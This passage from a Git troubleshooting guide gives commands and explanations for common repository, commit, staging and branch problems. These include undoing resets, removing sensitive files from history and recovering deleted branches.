- [Remove a submodule](#remove-a-submodule)
- [Miscellaneous Objects](#miscellaneous-objects)
- [Copy a folder or file from one branch to another](#copy-a-folder-or-file-from-one-branch-to-another)
- [Restore a deleted file](#restore-a-deleted-file)
- [Delete tag](#delete-tag)
- [Recover a deleted tag](#recover-a-deleted-tag)
- [Deleted Patch](#deleted-patch)
- [Exporting a repository as a Zip file](#exporting-a-repository-as-a-zip-file)
- [Push a branch and a tag that have the same name](#push-a-branch-and-a-tag-that-have-the-same-name)
- [Tracking Files](#tracking-files)
- [I want to change a file name's capitalization, without changing the contents of the file](#i-want-to-change-a-file-names-capitalization-without-changing-the-contents-of-the-file)
- [I want to overwrite local files when doing a git pull](#i-want-to-overwrite-local-files-when-doing-a-git-pull)
- [I want to remove a file from Git but keep the file](#i-want-to-remove-a-file-from-git-but-keep-the-file)
- [I want to revert a file to a specific revision](#i-want-to-revert-a-file-to-a-specific-revision)
- [I want to list changes of a specific file between commits or branches](#i-want-to-list-changes-of-a-specific-file-between-commits-or-branches)
- [I want Git to ignore changes to a specific file](#i-want-git-to-ignore-changes-to-a-specific-file)
- [Debugging with Git](#debugging-with-git)
- [Configuration](#configuration)
- [I want to add aliases for some Git commands](#i-want-to-add-aliases-for-some-git-commands)
- [I want to add an empty directory to my repository](#i-want-to-add-an-empty-directory-to-my-repository)
- [I want to cache a username and password for a repository](#i-want-to-cache-a-username-and-password-for-a-repository)
- [I want to make Git ignore permissions and filemode changes](#i-want-to-make-git-ignore-permissions-and-filemode-changes)
- [I want to set a global user](#i-want-to-set-a-global-user)
- [I've no idea what I did wrong](#ive-no-idea-what-i-did-wrong)
- [Git Shortcuts](#git-shortcuts)
- [Git Bash](#git-bash)
- [PowerShell on Windows](#powershell-on-windows)
- [Other Resources](#other-resources)
- [Books](#books)
- [Tutorials](#tutorials)
- [Scripts and Tools](#scripts-and-tools)
- [GUI Clients](#gui-clients)
<!-- END doctoc generated TOC please keep comment here to allow auto update -->
## Repositories
### I want to start a local repository
To initialize an existing directory as a Git repository:
```sh
(my-folder) $ git init
```
### I want to clone a remote repository
To clone (copy) a remote repository, copy the URL for the repository, and run:
```sh
$ git clone [url]
```
This will save it to a folder named the same as the remote repository's. Make sure you have a connection to the remote server you are cloning from (for most purposes this means making sure you are connected to the internet).
To clone it into a folder with a different name than the default repository name:
```sh
$ git clone [url] name-of-new-folder
```
### I set the wrong remote repository
There are a few possible problems here:
If you cloned the wrong repository, simply delete the directory created after running `git clone` and clone the correct repository.
If you set the wrong repository as the origin of an existing local repository, change the URL of your origin by running:
```sh
$ git remote set-url origin [url of the actual repo]
```
For more, see [this StackOverflow topic](https://stackoverflow.com/questions/2432764/how-to-change-the-uri-url-for-a-remote-git-repository#2432799).
### I want to add code to someone else's repository
Git doesn't allow you to add code to someone else's repository without access rights. Neither does GitHub, which is not the same as Git, but rather a hosted service for Git repositories. However, you can suggest code using patches, or, on GitHub, forks and pull requests.
First, a bit about forking. A fork is a copy of a repository. It is not a git operation, but is a common action on GitHub, Bitbucket, GitLab — or anywhere people host Git repositories. You can fork a repository through the hosted UI.
#### Suggesting code via pull requests
After you've forked a repository, you normally need to clone the repository to your machine. You can do some small edits on GitHub, for instance, without cloning, but this isn't a github-flight-rules list, so let's go with how to do this locally.
```sh
# if you are using ssh
$ git clone git@github.com:k88hudson/git-flight-rules.git
# if you are using https
$ git clone https://github.com/k88hudson/git-flight-rules.git
```
If you `cd` into the resulting directory, and type `git remote`, you'll see a list of the remotes. Normally there will be one remote - `origin` - which will point to `k88hudson/git-flight-rules`. In this case, we also want a remote that will point to your fork.
First, to follow a Git convention, we normally use the remote name `origin` for your own repository and `upstream` for whatever you've forked. So, rename the `origin` remote to `upstream`
```sh
$ git remote rename origin upstream
```
You can also do this using `git remote set-url`, but it takes longer and is more steps.
Then, set up a new remote that points to your project.
```sh
$ git remote add origin git@github.com:YourName/git-flight-rules.git
```
Note that now you have two remotes.
- `origin` references your own repository.
- `upstream` references the original one.
From origin, you can read and write. From upstream, you can only read.
When you've finished making whatever changes you like, push your changes (normally in a branch) to the remote named `origin`. If you're on a branch, you could use `--set-upstream` to avoid specifying the remote tracking branch on every future push using this branch. For instance:
```sh
$ (feature/my-feature) git push --set-upstream origin feature/my-feature
```
There is no way to suggest a pull request using the CLI using Git (although there are tools, like [hub](http://github.com/github/hub), which will do this for you). So, if you're ready to make a pull request, go to your GitHub (or another Git host) and create a new pull request. Note that your host automatically links the original and forked repositories.
After all of this, do not forget to respond to any code review feedback.
#### Suggesting code via patches
Another approach to suggesting code changes that doesn't rely on third party sites such as Github is to use `git format-patch`.
`format-patch` creates a .patch file for one or more commits. This file is essentially a list of changes that looks similar to the commit diffs you can view on Github.
A patch can be viewed and even edited by the recipient and applied using `git am`.
For example, to create a patch based on the previous commit you would run `git format-patch HEAD^` which would create a .patch file called something like 0001-My-Commit-Message.patch.
To apply this patch file to your repository you would run `git am ./0001-My-Commit-Message.patch`.
Patches can also be sent via email using the `git send-email` command. For information on usage and configuration see: https://git-send-email.io
#### I need to update my fork with latest updates from the original repository
After a while, the `upstream` repository may have been updated, and these updates need to be pulled into your `origin` repo. Remember that like you, other people are contributing too. Suppose that you are in your own feature branch and you need to update it with the original repository updates.
You probably have set up a remote that points to the original project. If not, do this now. Generally we use `upstream` as a remote name:
```sh
$ (main) git remote add upstream <link-to-original-repository>
# $ (main) git remote add upstream git@github.com:k88hudson/git-flight-rules.git
```
Now you can fetch from upstream and get the latest updates.
```sh
$ (main) git fetch upstream
$ (main) git merge upstream/main
# or using a single command
$ (main) git pull upstream main
```
## Editing Commits
<a name="diff-last"></a>
### What did I just commit?
Let's say that you just blindly committed changes with `git commit -a` and you're not sure what the actual content of the commit you just made was. You can show the latest commit on your current HEAD with:
```sh
(main)$ git show
```
Or
```sh
$ git log -n1 -p
```
If you want to see a file at a specific commit, you can also do this (where `<commitid>` is the commit you're interested in):
```sh
$ git show <commitid>:filename
```
<a name="wrong-thing-in-commit-message"></a>
### I wrote the wrong thing in a commit message
If you wrote the wrong thing and the commit has not yet been pushed, you can do the following to change the commit message without changing the changes in the commit:
```sh
$ git commit --amend --only
```
This will open your default text editor, where you can edit the message. On the other hand, you can do this all in one command:
```sh
$ git commit --amend --only -m 'xxxxxxx'
```
If you have already pushed the message, you can amend the commit and force push, but this is not recommended.
<a name="commit-wrong-author"></a>
### I committed with the wrong name and email configured
If it's a single commit, amend it
```sh
$ git commit --amend --no-edit --author "New Authorname <authoremail@mydomain.com>"
```
An alternative is to correctly configure your author settings in `git config --global author.(name|email)` and then use
```sh
$ git commit --amend --reset-author --no-edit
```
If you need to change all of history, see the man page for `git filter-branch`.
### I want to remove a file from the previous commit
In order to remove changes for a file from the previous commit, do the following:
```sh
$ git checkout HEAD^ myfile
$ git add myfile
$ git commit --amend --no-edit
```
In case the file was newly added to the commit and you want to remove it (from Git alone), do:
```sh
$ git rm --cached myfile
$ git commit --amend --no-edit
```
This is particularly useful when you have an open patch and you have committed an unnecessary file, and need to force push to update the patch on a remote. The `--no-edit` option is used to keep the existing commit message.
<a name="move-change-to-new-commit"></a>
### I want to move a change from one commit to another
If you've made a commit that includes changes that would fit better in another commit, you can move the changes to the other commit using an interactive rebase. This comes from [stackoverflow](https://stackoverflow.com/a/54985304/2491502).
For example, you have three commits (a, b, c). On b, you've changes file1 and file2 and you want to move the change on file1 from commit b to commit a.
First, rebase interactively:
```sh
$ git rebase -i HEAD~3
```
This will open an editor with the following:
```sh
pick a
pick b
pick c
```
Change the lines with a and b to edit:
```sh
edit a
edit b
pick c
```
Save and close the editor. This will bring you to commit b. Now, reset the file1 changes:
```sh
$ git reset HEAD~1 file1
```
This will unstage the changes in file1. Now, stash those changes and continue the rebase:
```sh
$ git stash
$ git rebase --continue
```
Now you will be editing commit a. Unstash the changes then add them to the current commit and continue the rebase:
```sh
$ git stash pop
$ git add file1
$ git commit --amend --no-edit
$ git rebase --continue
```
Now your rebase is complete, with the changes from b on a. If you wanted to move the changes from b to c, you would have to do two rebases since c comes before b: one to get the changes out of b, then another to edit c and add the stashed changes.
<a name="delete-pushed-commit"></a>
### I want to delete or remove my last commit
If you need to delete pushed commits, you can use the following. However, it will irreversibly change your history, and mess up the history of anyone else who had already pulled from the repository. In short, if you're not sure, you should never do this, ever.
```sh
$ git reset HEAD^ --hard
$ git push --force-with-lease [remote] [branch]
```
If you haven't pushed, to reset Git to the state it was in before you made your last commit (while keeping your staged changes):
```
(my-branch)$ git reset --soft HEAD^
```
This only works if you haven't pushed. If you have pushed, the only truly safe thing to do is `git revert SHAofBadCommit`. That will create a new commit that undoes all the previous commit's changes. Or, if the branch you pushed to is rebase-safe (ie. other devs aren't expected to pull from it), you can just use `git push --force-with-lease`. For more, see [the above section](#deleteremove-last-pushed-commit).
<a name="delete-any-commit"></a>
### Delete/remove arbitrary commit
The same warning applies as above. Never do this if possible.
```sh
$ git rebase --onto SHA1_OF_BAD_COMMIT^ SHA1_OF_BAD_COMMIT
$ git push --force-with-lease [remote] [branch]
```
Or do an [interactive rebase](#interactive-rebase) and remove the line(s) corresponding to commit(s) you want to see removed.
<a name="force-push"></a>
### I tried to push my amended commit to a remote, but I got an error message
```sh
To https://github.com/yourusername/repo.git
! [rejected] mybranch -> mybranch (non-fast-forward)
error: failed to push some refs to 'https://github.com/tanay1337/webmaker.org.git'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Integrate the remote changes (e.g.
hint: 'git pull ...') before pushing again.
hint: See the 'Note about fast-forwards' in 'git push --help' for details.
```
Note that, as with rebasing (see below), amending **replaces the old commit with a new one**, so you must force push (`--force-with-lease`) your changes if you have already pushed the pre-amended commit to your remote. Be careful when you do this – *always* make sure you specify a branch!
```sh
(my-branch)$ git push origin mybranch --force-with-lease
```
In general, **avoid force pushing**. It is best to create and push a new commit rather than force-pushing the amended commit as it will cause conflicts in the source history for any other developer who has interacted with the branch in question or any child branches. `--force-with-lease` will still fail, if someone else was also working on the same branch as you, and your push would overwrite those changes.
If you are *absolutely* sure that nobody is working on the same branch or you want to update the tip of the branch *unconditionally*, you can use `--force` (`-f`), but this should be avoided in general.
<a name="undo-git-reset-hard"></a>
### I accidentally did a hard reset, and I want my changes back
If you accidentally do `git reset --hard`, you can normally still get your commit back, as git keeps a log of everything for a few days.
Note: This is only valid if your work is backed up, i.e., either committed or stashed. `git reset --hard` _will remove_ uncommitted modifications, so use it with caution. (A safer option is `git reset --keep`.)
```sh
(main)$ git reflog
```
You'll see a list of your past commits, and a commit for the reset. Choose the SHA of the commit you want to return to, and reset again:
```sh
(main)$ git reset --hard SHA1234
```
And you should be good to go.
<a name="undo-a-commit-merge"></a>
### I accidentally committed and pushed a merge
If you accidentally merged a feature branch to the main development branch before it was ready to be merged, you can still undo the merge. But there's a catch: A merge commit has more than one parent (usually two).
The command to use
```sh
(feature-branch)$ git revert -m 1 <commit>
```
where the -m 1 option says to select parent number 1 (the branch into which the merge was made) as the parent to revert to.
Note: the parent number is not a commit identifier. Rather, a merge commit has a line `Merge: 8e2ce2d 86ac2e7`. The parent number is the 1-based index of the desired parent on this line, the first identifier is number 1, the second is number 2, and so on.
<a name="undo-sensitive-commit-push"></a>
### I accidentally committed and pushed files containing sensitive data
If you accidentally pushed files containing sensitive, or private data (passwords, keys, etc.), you can amend the previous commit. Keep in mind that once you have pushed a commit, you should consider any data it contains to be compromised. These steps can remove the sensitive data from your public repo or your local copy, but you **cannot** remove the sensitive data from other people's pulled copies. If you committed a password, **change it immediately**. If you committed a key, **re-generate it immediately**. Amending the pushed commit is not enough, since anyone could have pulled the original commit containing your sensitive data in the meantime.
If you edit the file and remove the sensitive data, then run
```sh
(feature-branch)$ git add edited_file
(feature-branch)$ git commit --amend --no-edit
(feature-branch)$ git push --force-with-lease origin [branch]
```
If you want to remove an entire file (but keep it locally), then run
```sh
(feature-branch)$ git rm --cached sensitive_file
echo sensitive_file >> .gitignore
(feature-branch)$ git add .gitignore
(feature-branch)$ git commit --amend --no-edit
(feature-branch)$ git push --force-with-lease origin [branch]
```
Alternatively store your sensitive data in local environment variables.
If you want to completely remove an entire file (and not keep it locally), then run
```sh
(feature-branch)$ git rm sensitive_file
(feature-branch)$ git commit --amend --no-edit
(feature-branch)$ git push --force-with-lease origin [branch]
```
If you have made other commits in the meantime (i.e. the sensitive data is in a commit before the previous commit), you will have to rebase.
<a name="remove-large-file-in-repo-history"></a>
### I want to remove a large file from ever existing in repo history
If the file you want to delete is secret or sensitive, instead see [how to remove sensitive files](#undo-sensitive-commit-push).
Even if you delete a large or unwanted file in a recent commit, it still exists in git history, in your repo's `.git` folder, and will make `git clone` download unneeded files.
The actions in this part of the guide will require a force push, and rewrite large sections of repo history, so if you are working with remote collaborators, check first that any local work of theirs is pushed.
There are two options for rewriting history, the built-in `git-filter-branch` or [`bfg-repo-cleaner`](https://rtyley.github.io/bfg-repo-cleaner/). `bfg` is significantly cleaner and more performant, but it is a third-party download and requires java. We will describe both alternatives. The final step is to force push your changes, which requires special consideration on top of a regular force push, given that a great deal of repo history will have been permanently changed.
#### Recommended Technique: Use third-party bfg
Using bfg-repo-cleaner requires java. Download the bfg jar from the link [here](https://rtyley.github.io/bfg-repo-cleaner/). Our examples will use `bfg.jar`, but your download may have a version number, e.g. `bfg-1.13.0.jar`.
To delete a specific file.
```sh
(main)$ git rm path/to/filetoremove
(main)$ git commit -m "Commit removing filetoremove"
(main)$ java -jar ~/Downloads/bfg.jar --delete-files filetoremove
```
Note that in bfg you must use the plain file name even if it is in a subdirectory.
You can also delete a file by pattern, e.g.:
```sh
(main)$ git rm *.jpg
(main)$ git commit -m "Commit removing *.jpg"
(main)$ java -jar ~/Downloads/bfg.jar --delete-files *.jpg
```
With bfg, the files that exist on your latest commit will not be affected. For example, if you had several large .tga files in your repo, and then in an earlier commit, you deleted a subset of them, this call does not touch files present in the latest commit
Note, if you renamed a file as part of a commit, e.g. if it started as `LargeFileFirstName.mp4` and a commit changed it to `LargeFileSecondName.mp4`, running `java -jar ~/Downloads/bfg.jar --delete-files LargeFileSecondName.mp4` will not remove it from git history. Either run the `--delete-files` command with both filenames, or with a matching pattern.
#### Built-in Technique: Use git-filter-branch
`git-filter-branch` is more cumbersome and has less features, but you may use it if you cannot install or run `bfg`.
In the below, replace `filepattern` may be a specific name or pattern, e.g. `*.jpg`. This will remove files matching the pattern from all history and branches.
```sh
(main)$ git filter-branch --force --index-filter 'git rm --cached --ignore-unmatch filepattern' --prune-empty --tag-name-filter cat -- --all
```
Behind-the-scenes explanation:
`--tag-name-filter cat` is a cumbersome, but simplest, way to apply the original tags to the new commits, using the command cat.
`--prune-empty` removes any now-empty commits.
#### Final Step: Pushing your changed repo history
Once you have removed your desired files, test carefully that you haven't broken anything in your repo - if you have, it is easiest to re-clone your repo to start over.
To finish, optionally use git garbage collection to minimize your local .git folder size, and then force push.
```sh
(main)$ git reflog expire --expire=now --all && git gc --prune=now --aggressive
(main)$ git push origin --force --tags
```
Since you just rewrote the entire git repo history, the `git push` operation may be too large, and return the error `“The remote end hung up unexpectedly”`. If this happens, you can try increasing the git post buffer:
```sh
(main)$ git config http.postBuffer 524288000
(main)$ git push --force
```
If this does not work, you will need to manually push the repo history in chunks of commits. In the command below, try increasing `<number>` until the push operation succeeds.
```sh
(main)$ git push -u origin HEAD~<number>:refs/head/main --force
```
Once the push operation succeeds the first time, decrease `<number>` gradually until a conventional `git push` succeeds.
<a name="change-content-of-commit-not-my-last"></a>
### I need to change the content of a commit which is not my last
Consider you created some (e.g. three) commits and later realize you missed doing something that belongs contextually into the first of those commits. This bothers you, because if you'd create a new commit containing those changes, you'd have a clean code base, but your commits weren't atomic (i.e. changes that belonged to each other weren't in the same commit). In such a situation you may want to change the commit where these changes belong to, include them and have the following commits unaltered. In such a case, `git rebase` might save you.
Consider a situation where you want to change the third last commit you made.
```sh
(your-branch)$ git rebase -i HEAD~4
```
gets you into interactive rebase mode, which allows you to edit any of your last three commits. A text editor pops up, showing you something like
```sh
pick 9e1d264 The third last commit
pick 4b6e19a The second to last commit
pick f4037ec The last commit
```
which you change into
```sh
edit 9e1d264 The third last commit
pick 4b6e19a The second to last commit
pick f4037ec The last commit
```
This tells rebase that you want to edit your third last commit and keep the other two unaltered. Then you'll save (and close) the editor. Git will then start to rebase. It stops on the commit you want to alter, giving you the chance to edit that commit. Now you can apply the changes which you missed applying when you initially committed that commit. You do so by editing and staging them. Afterwards you'll run
```sh
(your-branch)$ git commit --amend
```
which tells Git to recreate the commit. Also, Git will ask you to write a new commit message, using the original commit message as a starting point. Having done that, the hard part is solved.
```sh
(your-branch)$ git rebase --continue
```
will do the rest of the work for you.
## Staging
<a name="stage-tracked-files-and-leave-untracked-files"></a>
### I want to stage all tracked files and leave untracked files
```sh
$ git add -u
```
#### To stage part of tracked files
```sh
# to stage files with ext .txt
$ git add -u *.txt
# to stage all files inside directory src
$ git add -u src/
```
<a name="add-staged-changes-to-previous-commit"></a>
### I need to add staged changes to the previous commit
```sh
(my-branch*)$ git commit --amend
```
If you already know you don't want to change the commit message, you can tell git to reuse the commit message:
```sh
(my-branch*)$ git commit --amend -C HEAD
```
<a name="commit-partial-new-file"></a>
### I want to stage part of a new file, but not the whole file
Normally, if you want to stage part of a file, you run this:
```sh
$ git add --patch filename.x
```
`-p` will work for short. This will open interactive mode. You would be able to use the `s` option to split the commit - however, if the file is new, you will not have this option. To add a new file, do this:
```sh
$ git add -N filename.x
```
Then, you will need to use the `e` option to manually choose which lines to add. Running `git diff --cached` or
`git diff --staged` will show you which lines you have staged compared to which are still saved locally.
<a name="stage-in-two-commits"></a>
### I want to add changes in one file to two different commits
`git add` will add the entire file to a commit. `git add -p` will allow to interactively select which changes you want to add.
<a name="selective-unstage-edits"></a>
### I staged too many edits, and I want to break them out into a separate commit
`git reset -p` will open a patch mode reset dialog. This is similar to `git add -p`, except that selecting "yes" will unstage the change, removing it from the upcoming commit.
<a name="unstaging-edits-and-staging-the-unstaged"></a>
### I want to stage my unstaged edits, and unstage my staged edits
In many cases, you should unstage all of your staged files and then pick the file you want and commit it. However, if you want to switch the staged and unstaged edits, you can create a temporary commit to store your staged files, stage your unstaged files and then stash them. Then, reset the temporary commit and pop your stash.
```sh
$ git commit -m "WIP"
$ git add . # This will also add untracked files.
$ git stash
$ git reset HEAD^
$ git stash pop --index 0
```
NOTE 1: The reason to use `pop` here is want to keep idempotent as much as possible.
NOTE 2: Your staged files will be marked as unstaged if you don't use the `--index` flag. ([This link](https://stackoverflow.com/questions/31595873/git-stash-with-staged-files-does-stash-convert-staged-files-to-unstaged?answertab=active#tab-top) explains why.)
## Unstaged Edits
<a name="move-unstaged-edits-to-new-branch"></a>
### I want to move my unstaged edits to a new branch
```sh
$ git checkout -b my-branch
```
<a name="move-unstaged-edits-to-old-branch"></a>
### I want to move my unstaged edits to a different, existing branch
```sh
$ git stash
$ git checkout my-branch
$ git stash pop
```
<a name="discard-local-uncommitted-changes"></a>
### I want to discard my local uncommitted changes (staged and unstaged)
If you want to discard all your local staged and unstaged changes, you can do this:
```sh
(my-branch)$ git reset --hard
# or
(main)$ git checkout -f
```
This will unstage all files you might have staged with `git add`:
```sh
$ git reset
```
This will revert all local uncommitted changes (should be executed in repo root):
```sh
$ git checkout .
```
You can also revert uncommitted changes to a particular file or directory:
```sh
$ git checkout [some_dir|file.txt]
```
Yet another way to revert all uncommitted changes (longer to type, but works from any subdirectory):
```sh
$ git reset --hard HEAD
```
This will remove all local untracked files, so only files tracked by Git remain:
```sh
$ git clean -fd
```
`-x` will also remove all ignored files.
### I want to discard specific unstaged changes
When you want to get rid of some, but not all changes in your working copy.
Checkout undesired changes, keep good changes.
```sh
$ git checkout -p
# Answer y to all of the snippets you want to drop
```
Another strategy involves using `stash`. Stash all the good changes, reset working copy, and reapply good changes.
```sh
$ git stash -p
# Select all of the snippets you want to save
$ git reset --hard
$ git stash pop
```
Alternatively, stash your undesired changes, and then drop stash.
```sh
$ git stash -p
# Select all of the snippets you don't want to save
$ git stash drop
```
### I want to discard specific unstaged files
When you want to get rid of one specific file in your working copy.
```sh
$ git checkout myFile
```
Alternatively, to discard multiple files in your working copy, list them all.
```sh
$ git checkout myFirstFile mySecondFile
```
### I want to discard only my unstaged local changes
When you want to get rid of all of your unstaged local uncommitted changes
```sh
$ git checkout .
```
<a name="discard-all-untracked-files"></a>
### I want to discard all of my untracked files
When you want to get rid of all of your untracked files
```sh
$ git clean -f
```
<a name="unstage-specific-staged-file"></a>
### I want to unstage a specific staged file
Sometimes we have one or more files that accidentally ended up being staged, and these files have not been committed before. To unstage them:
```sh
$ git reset -- <filename>
```
This results in unstaging the file and make it look like it's untracked.
## Branches
### I want to list all branches
List local branches
```sh
$ git branch
```
List remote branches
```sh
$ git branch -r
```
List all branches (both local and remote)
```sh
$ git branch -a
```
<a name="create-branch-from-commit"></a>
### Create a branch from a commit
```sh
$ git checkout -b <branch> <SHA1_OF_COMMIT>
```
<a name="pull-wrong-branch"></a>
### I pulled from/into the wrong branch
This is another chance to use `git reflog` to see where your HEAD pointed before the bad pull.
```sh
(main)$ git reflog
ab7555f HEAD@{0}: pull origin wrong-branch: Fast-forward
c5bc55a HEAD@{1}: checkout: checkout message goes here
```
Simply reset your branch back to the desired commit:
```sh
$ git reset --hard c5bc55a
```
Done.
<a name="discard-local-commits"></a>
### I want to discard local commits so my branch is the same as one on the server
Confirm that you haven't pushed your changes to the server.
`git status` should show how many commits you are ahead of origin:
```sh
(my-branch)$ git status
# On branch my-branch
# Your branch is ahead of 'origin/my-branch' by 2 commits.
# (use "git push" to publish your local commits)
#
```
One way of resetting branch `my-branch` to match `origin/my-branch` (to have the same as what is on the remote) is to do this:
```sh
(my-branch)$ git reset --hard origin/my-branch
```
<a name="commit-wrong-branch"></a>
### I committed to main instead of a new branch
Create the new branch while remaining on main:
```sh
(main)$ git branch my-branch
```
Reset the branch main to the previous commit:
```sh
(main)$ git reset --hard HEAD^
```
`HEAD^` is short for `HEAD^1`. This stands for the first parent of `HEAD`, similarly `HEAD^2` stands for the second parent of the commit (merges can have 2 parents).
Note that `HEAD^2` is **not** the same as `HEAD~2` (see [this link](http://www.paulboxley.com/blog/2011/06/git-caret-and-tilde) for more information).
Alternatively, if you don't want to use `HEAD^`, find out what the commit hash you want to set your main branch to (`git log` should do the trick). Then reset to that hash. `git push` will make sure that this change is reflected on your remote.
For example, if the hash of the commit that your main branch is supposed to be at is `a13b85e`:
```sh
(main)$ git reset --hard a13b85e
HEAD is now at a13b85e
```
Checkout the new branch to continue working:
```sh
(main)$ git checkout my-branch
```
<a name="keep-whole-file"></a>
### I want to keep the whole file from another ref-ish
Say you have a working spike (see note), with hundreds of changes. Everything is working. Now, you commit into another branch to save that work:
```sh
(solution)$ git add -A && git commit -m "Adding all changes from this spike into one big commit."
```
When you want to put it into a branch (maybe feature, maybe `develop`), you're interested in keeping whole files. You want to split your big commit into smaller ones.
Say you have:
* branch `solution`, with the solution to your spike. One ahead of `develop`.
* branch `develop`, where you want to add your changes.
You can solve it bringing the contents to your branch:
```sh
(develop)$ git checkout solution -- file1.txt
```
This will get the contents of that file in branch `solution` to your branch `develop`:
```sh
# On branch develop
# Your branch is up-to-date with 'origin/develop'.
# Changes to be committed:
# (use "git reset HEAD <file>..." to unstage)
#
# modified: file1.txt
```
Then, commit as usual.
Note: Spike solutions are made to analyze or solve the problem. These solutions are used for estimation and discarded once everyone gets clear visualization of the problem. ~ [Wikipedia](https://en.wikipedia.org/wiki/Extreme_programming_practices).
<a name="cherry-pick"></a>
### I made several commits on a single branch that should be on different branches
Say you are on your main branch. Running `git log`, you see you have made two commits:
```sh
(main)$ git log
commit e3851e817c451cc36f2e6f3049db528415e3c114
Author: Alex Lee <alexlee@example.com>
Date: Tue Jul 22 15:39:27 2014 -0400
Bug #21 - Added CSRF protection
commit 5ea51731d150f7ddc4a365437931cd8be3bf3131
Author: Alex Lee <alexlee@example.com>
Date: Tue Jul 22 15:39:12 2014 -0400
Bug #14 - Fixed spacing on title
commit a13b85e984171c6e2a1729bb061994525f626d14
Author: Aki Rose <akirose@example.com>
Date: Tue Jul 21 01:12:48 2014 -0400
First commit
```
Let's take note of our commit hashes for each bug (`e3851e8` for #21, `5ea5173` for #14).
First, let's reset our main branch to the correct commit (`a13b85e`):
```sh
(main)$ git reset --hard a13b85e
HEAD is now at a13b85e
```
Now, we can create a fresh branch for our bug #21:
```sh
(main)$ git checkout -b 21
(21)$
```
Now, let's *cherry-pick* the commit for bug #21 on top of our branch. That means we will be applying that commit, and only that commit, directly on top of whatever our head is at.
```sh
(21)$ git cherry-pick e3851e8
```
At this point, there is a possibility there might be conflicts. See the [**There were conflicts**](#merge-conflict) section in the [interactive rebasing section above](#interactive-rebase) for how to resolve conflicts.
Now let's create a new branch for bug #14, also based on main
```sh
(21)$ git checkout main
(main)$ git checkout -b 14
(14)$
```
And finally, let's cherry-pick the commit for bug #14:
```sh
(14)$ git cherry-pick 5ea5173
```
<a name="delete-stale-local-branches"></a>
### I want to delete local branches that were deleted upstream
Once you merge a pull request on GitHub, it gives you the option to delete the merged branch in your fork. If you aren't planning to keep working on the branch, it's cleaner to delete the local copies of the branch so you don't end up cluttering up your working checkout with a lot of stale branches.
```sh
$ git fetch -p upstream
```
where, `upstream` is the remote you want to fetch from.
<a name="restore-a-deleted-branch"></a>
### I accidentally deleted my branch
If you're regularly pushing to remote, you should be safe most of the time. But still sometimes you may end up deleting your branches. Let's say we create a branch and create a new file:
```sh
(main)$ git checkout -b my-branch
(my-branch)$ git branch
(my-branch)$ touch foo.txt
(my-branch)$ ls
README.md foo.txt
```
Let's add it and commit.
```sh
(my-branch)$ git add .
(my-branch)$ git commit -m 'foo.txt added'
(my-branch)$ foo.txt added
1 files changed, 1 insertions(+)
create mode 100644 foo.txt
(my-branch)$ git log
commit 4e3cd85a670ced7cc17a2b5d8d3d809ac88d5012
Author: siemiatj <siemiatj@example.com>
Date: Wed Jul 30 00:34:10 2014 +0200
foo.txt added
commit 69204cdf0acbab201619d95ad8295928e7f411d5
Author: Kate Hudson <katehudson@example.com>
Date: Tue Jul 29 13:14:46 2014 -0400
Fixes #6: Force pushing after amending commits
```
Now we're switching back to main and 'accidentally' removing our branch.
```sh
(my-branch)$ git checkout main
Switched to branch 'main'
Your branch is up-to-date with 'origin/main'.
(main)$ git branch -D my-branch
Deleted branch my-branch (was 4e3cd85).
(main)$ echo oh noes, deleted my branch!
oh noes, deleted my branch!
```
At this point you should get familiar with 'reflog', an upgraded logger. It stores the history of all the action in the repo.
```
(main)$ git reflog
69204cd HEAD@{0}: checkout: moving from my-branch to main
4e3cd85 HEAD@{1}: commit: foo.txt added
69204cd HEAD@{2}: checkout: moving from main to my-branch
```
As you can see we have commit hash from our deleted branch. Let's see if we can restore our deleted branch.
```sh
(main)$ git checkout -b my-branch-help
Switched to a new branch 'my-branch-help'
(my-branch-help)$ git reset --hard 4e3cd85
HEAD is now at 4e3cd85 foo.txt added
(my-branch-help)$ ls
README.md foo.txt
```
Voila! We got our removed file back. `git reflog` is also useful when rebasing goes terribly wrong.
### I want to delete a branch
To delete a remote branch:
```sh
(main)$ git push origin --delete my-branch
```
You can also do:
```sh
(main)$ git push origin :my-branch
```
To delete a local branch:
```sh
(main)$ git branch -d my-branch
```
To delete a local branch that *has not* been merged to the current branch or an upstream:
```sh
(main)$ git branch -D my-branch
```
### I want to delete multiple branches
Say you want to delete all branches that start with `fix/`:
```sh
(main)$ git branch | grep 'fix/' | xargs git branch -d
```
### I want to rename a branch
To rename the current (local) branch:
```sh
(main)$ git branch -m new-name
```
To rename a different (local) branch:
```sh
(main)$ git branch -m old-name new-name
```
To delete the `old-name` remote branch and push the `new-name` local branch:
```sh
(main)$ git push origin :old_name new_name
```
<a name="working-on-checkout-remote-branch"></a>
### I want to checkout to a remote branch that someone else is working on
First, fetch all branches from remote:
```sh
(main)$ git fetch --all
```
Say you want to checkout to `daves` from the remote.
```sh
(main)$ git checkout --track origin/daves
Branch daves set up to track remote branch daves from origin.
Switched to a new branch 'daves'
```
(`--track` is shorthand for `git checkout -b [branch] [remotename]/[branch]`)
This will give you a local copy of the branch `daves`, and any update that has been pushed will also show up remotely.
### I want to create a new remote branch from current local one
```sh
$ git push <remote> HEAD
```
If you would also like to set that remote branch as upstream for the current one, use the following instead:
```sh
$ git push -u <remote> HEAD
```
With the `upstream` mode and the `simple` (default in Git 2.0) mode of the `push.default` config, the following command will push the current branch with regards to the remote branch that has been registered previously with `-u`:
```sh
$ git push
```
The behavior of the other modes of `git push` is described in the [doc of `push.default`](https://git-scm.com/docs/git-config#Documentation/git-config.txt-pushdefault).
### I want to set a remote branch as the upstream for a local branch
You can set a remote branch as the upstream for the current local branch using:
```sh
$ git branch --set-upstream-to [remotename]/[branch]
# or, using the shorthand:
$ git branch -u [remotename]/[branch]
```
To set the upstream remote branch for another local branch:
```sh
$ git branch -u [remotename]/[branch] [local-branch]
```
<a name="head-to-track-remote-branch"></a>
### I want to set my HEAD to track the default remote branch
By checking your remote branches, you can see which remote branch your HEAD is tracking. In some cases, this is not the desired branch.
```sh
$ git branch -r
origin/HEAD -> origin/gh-pages
origin/main
```
To change `origin/HEAD` to track `origin/main`, you can run this command:
```sh
$ git remote set-head origin --auto
origin/HEAD set to main
```
### I made changes on the wrong branch
You've made uncommitted changes and realise you're on the wrong branch. Stash changes and apply them to the branch you want:
```sh
(wrong_branch)$ git stash
(wrong_branch)$ git checkout <correct_branch>
(correct_branch)$ git stash apply
```
<a name="split-branch-into-two"></a>
### I want to split a branch into two
You've made a lot of commits on a branch and now want to separate it into two, ending with a branch up to an earlier commit and another with all the changes.
Use `git log` to find the commit where you want to split. Then do the following:
